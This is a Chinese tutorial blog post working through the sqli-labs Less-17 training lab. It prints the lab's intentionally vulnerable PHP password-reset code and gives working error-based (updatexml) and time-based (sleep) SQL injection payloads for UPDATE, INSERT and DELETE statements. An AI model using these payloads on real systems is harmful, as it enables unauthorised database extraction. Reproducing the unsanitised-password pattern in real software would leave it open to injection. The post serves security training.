前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >由sqli-labs-Less17学习增删改形式下的sql注入

由sqli-labs-Less17学习增删改形式下的sql注入

作者头像
Elapse
发布2020-08-17 11:38:02
7300
发布2020-08-17 11:38:02
举报
文章被收录于专栏:E条咸鱼E条咸鱼

本篇原创作者: Rj45

前言

mysql在对数据的处理中有增删改查四个操作。而在sql注入中,往往常见的是 select查询形式。那么insert、delete、update呢?

环境

在ubuntu下搭建docker和开源vulstudy项目(其内含sqli-labs环境)。

代码语言:javascript
复制
sudo apt-get update -y
sudo apt-get install docker.io -y
sudo apt-get docker-compose -y
sudo apt-get git -y
sudo groupadd docker
sudo gpasswd -a ${USER} docker
sudo service docker restart
git clone https://github.com/c0ny1/vulstudy.git
cd /vulstudy/sqli-labs
sudo docker-compose up -d

介绍

1、增

代码语言:javascript
复制
insert into table_name(column_name1,column_name2)values('value1','value2');
insert into table_name values('value1','value2');
insert into table_name set column_name1='value1',column_name2='value2';

2、删

代码语言:javascript
复制
delete from table_name where column_name='value';

3、改

代码语言:javascript
复制
update table_name set column_name1='value2' where column_name2='value2';

代码

sqli-labs-Less17代码

代码语言:javascript
复制
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);

function check_input($value)
    {
    if(!empty($value))
        {
        // truncation (see comments)
        $value = substr($value,0,15);
        }

        // Stripslashes if magic quotes enabled
        if (get_magic_quotes_gpc())
            {
            $value = stripslashes($value);
            }

        // Quote if not a number
        if (!ctype_digit($value))
            {
            $value = "'" . mysql_real_escape_string($value) . "'";
            }
    else
        {
        $value = intval($value);
        }
    return $value;
    }

// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))

{
//making sure uname is not injectable
$uname=check_input($_POST['uname']);  

$passwd=$_POST['passwd'];


//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname."\n");
fwrite($fp,'New Password:'.$passwd."\n");
fclose($fp);

// connectivity
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";

$result=mysql_query($sql);
$row = mysql_fetch_array($result);
//echo $row;
    if($row)
    {
          //echo '<font color= "#0000ff">';
        $row1 = $row['username'];     
        //echo 'Your Login name:'. $row1;
        $update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
        mysql_query($update);
          echo "<br>";

        if (mysql_error())
        {
            echo '<font color= "#FFFF00" font size = 3 >';
            print_r(mysql_error());
            echo "</br></br>";
            echo "</font>";
        }
        else
        {
            echo '<font color= "#FFFF00" font size = 3 >';
            //echo " You password has been successfully updated " ;
            echo "<br>";
            echo "</font>";
        }

        echo '<img src="../images/flag1.jpg"   />';
        //echo 'Your Password:' .$row['password'];
          echo "</font>";

      }
    else  
    {
        echo '<font size="4.5" color="#FFFF00">';
        //echo "Bug off you Silly Dumb hacker";
        echo "</br>";
        echo '<img src="../images/slap1.jpg"   />';

        echo "</font>";  
    }
}
?>

1、代码审计:使用check_input函数对输入数据进行过滤, 接着以用户名作为条件查询数据库, 当查询到数据库存在记录时,更新该密码。这是一个密码重置功能的代码。然而在对输入数据进行过滤的过程中,清洗了用户名,却没有清洗密码, 由此导致了sql注入。

2、check_input函数功能:截取输入的数据中前15个字符, 检测服务端是否开启 magic_quotes_gpc转义,如果有则删除反斜杠, 检测字符串中是否都是数字字符,如果不存在则对特定添加反斜杠,同时以单引号闭合数据, 如果都是数字字符,则将其转化为整数。

3、函数解释:get_magic_quotes_gpc():

stripslashes():

ctype_digit():

mysql_real_escape_string():

intval():

addslashes():

注入

在注入点位置的报错注入与延时注入:没有数据回显联合注入取消,没有布尔回显布尔盲注取消

代码语言:javascript
复制
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";

1、报错注入

代码语言:javascript
复制
uname=admin&passwd=') and updatexml(1,(concat(0x7e,(select database()),0x7e)),1)#&submit=Submit

2、延时盲注

代码语言:javascript
复制
uname=admin&passwd=') and if((ord(left((select database()),1))=ascii('s')),sleep(1),0)#&submit=Submit

payload自行调整。

延伸

上述为update下的注入。由于update、insert和delete三者应用场景的特殊性, 一般不会有数据回显,故一般选取布尔注入和延时注入。1、insert下的注入:

代码语言:javascript
复制
布尔注入:
insert into Rj45(id,word)values(3,updatexml(1,(concat(0x7e,(select database()),0x7e)),1));
代码语言:javascript
复制
延时注入:
insert into Rj45(id,word)values(5,if((ord(left((select database()),1))=ascii('C')),sleep(5),0));

注意,当延时注入成功后,需要修改插入的id数据,防止出现主键唯一性冲突。2、delete下的注入:

代码语言:javascript
复制
布尔注入:
delete from Rj45 where id=0 and updatexml(1,(concat(0x7e,(select database()),0x7e)),1);

延时注入:
delete from Rj45 where id=3 and if((ord(left((select database()),1))=ascii('C')),sleep(5),0);

参考

1、mysql注入天书 2、php手册 https://www.php.net/manual/zh/

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-09-23,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 E条咸鱼 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 本篇原创作者: Rj45
  • 前言
  • 环境
  • 介绍
  • 代码
  • 注入
  • 延伸
  • 参考
相关产品与服务
云数据库 SQL Server
腾讯云数据库 SQL Server (TencentDB for SQL Server)是业界最常用的商用数据库之一,对基于 Windows 架构的应用程序具有完美的支持。TencentDB for SQL Server 拥有微软正版授权,可持续为用户提供最新的功能,避免未授权使用软件的风险。具有即开即用、稳定可靠、安全运行、弹性扩缩等特点。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档